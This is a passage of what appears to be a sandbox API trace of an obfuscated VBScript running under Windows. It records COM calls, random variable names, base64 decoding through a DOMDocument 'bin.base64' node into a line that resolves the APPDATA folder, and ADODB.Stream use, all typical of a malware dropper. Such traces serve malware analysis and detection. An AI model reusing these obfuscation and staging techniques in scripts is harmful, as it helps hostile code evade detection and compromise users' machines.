ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.584] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.584] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.584] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.584] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.584] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.584] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0087.585] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.585] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112bf0) returned 0x0 [0087.585] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.585] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0087.585] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0087.585] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.585] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.585] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.585] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0087.585] DOMDocument:IUnknown:Release (This=0x5544dc) returned 0x1 [0087.585] DOMDocument:IUnknown:QueryInterface (in: This=0x5544b0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x554600) returned 0x0 [0087.585] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0087.585] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0087.585] DOMDocument:IUnknown:Release (This=0x5544b0) returned 0x2 [0087.585] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x554634) returned 0x0 [0087.586] DOMDocument:IDispatchEx:GetDispId (in: This=0x554634, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0087.586] DOMDocument:IUnknown:Release (This=0x554634) returned 0x1 [0087.586] DOMDocument:IUnknown:AddRef (This=0x554600) returned 0x2 [0087.586] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x554634) returned 0x0 [0087.586] DOMDocument:IDispatchEx:InvokeEx (in: This=0x554634, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.586] DOMDocument:IUnknown:Release (This=0x554634) returned 0x2 [0087.586] DOMDocument:IUnknown:Release (This=0x554600) returned 0x1 [0087.586] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x5546e0) returned 0x0 [0087.587] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0087.587] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.587] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x0 [0087.587] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.587] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.587] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.588] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.588] GetCurrentThreadId () returned 0xd44 [0087.588] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.588] ??2@YAPAXI@Z () returned 0x86bff10 [0087.588] malloc (_Size=0x804) returned 0x83fc220 [0087.588] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.588] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0087.588] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.588] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0087.588] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0087.588] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.588] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.588] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0087.590] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x14, wReserved2=0xc0e4, wReserved3=0x14, varVal1="bin.base64", varVal2=0x14c0cc)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.590] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.590] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.591] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.591] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.591] GetCurrentThreadId () returned 0xd44 [0087.591] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.591] malloc (_Size=0x404) returned 0x11c29f0 [0087.591] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.592] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.592] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.592] GetCurrentThreadId () returned 0xd44 [0087.592] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.592] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.592] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.592] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.592] GetCurrentThreadId () returned 0xd44 [0087.593] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.593] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.593] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.593] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.593] GetCurrentThreadId () returned 0xd44 [0087.593] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.593] ??2@YAPAXI@Z () returned 0x86bff10 [0087.593] malloc (_Size=0x804) returned 0x83fc220 [0087.593] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.594] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0087.594] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.594] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0087.595] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0087.595] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.595] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.595] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0087.595] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x200, wReserved2=0x4950, wReserved3=0x15, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x11977ac)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x200, wReserved2=0x4950, wReserved3=0x15, varVal1="QWxsRmF0YSA9IHNoZWxsb2JqLmV4cGFuZEVudmlyb25tZW50U3RyaW5ncygiICUgQVBQRCIgKyAiQVRBICVcIik=", varVal2=0x11977ac)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.595] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.595] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.595] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0087.596] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0087.596] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.596] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0087.596] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0087.597] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca16e8*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.597] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0087.597] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0087.597] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.597] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.597] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.597] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.597] GetCurrentThreadId () returned 0xd44 [0087.597] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.598] ??2@YAPAXI@Z () returned 0x11c2228 [0087.598] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0087.598] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03a64, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0087.598] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.598] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.598] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.598] GetCurrentThreadId () returned 0xd44 [0087.598] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.599] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.599] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.599] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.599] GetCurrentThreadId () returned 0xd44 [0087.599] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.599] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.599] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.599] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.600] GetCurrentThreadId () returned 0xd44 [0087.600] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.600] malloc (_Size=0x204) returned 0x83d6fd0 [0087.600] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.600] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.600] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.600] GetCurrentThreadId () returned 0xd44 [0087.600] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.601] ??2@YAPAXI@Z () returned 0x86bff10 [0087.601] malloc (_Size=0x804) returned 0x83fc220 [0087.601] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.601] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0087.601] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0087.601] SysStringLen (param_1=0x0) returned 0x0 [0087.601] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0087.602] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0087.602] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962b320) returned 0x0 [0087.602] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0087.602] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962b350) returned 0x0 [0087.602] ??2@YAPAXI@Z () returned 0x1112ba8 [0087.602] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112ba8) returned 0x0 [0087.602] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0087.602] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0087.602] DOMDocument:IUnknown:AddRef (This=0x1112ba8) returned 0x2 [0087.602] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0087.602] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112ba8) returned 0x0 [0087.602] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.602] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, 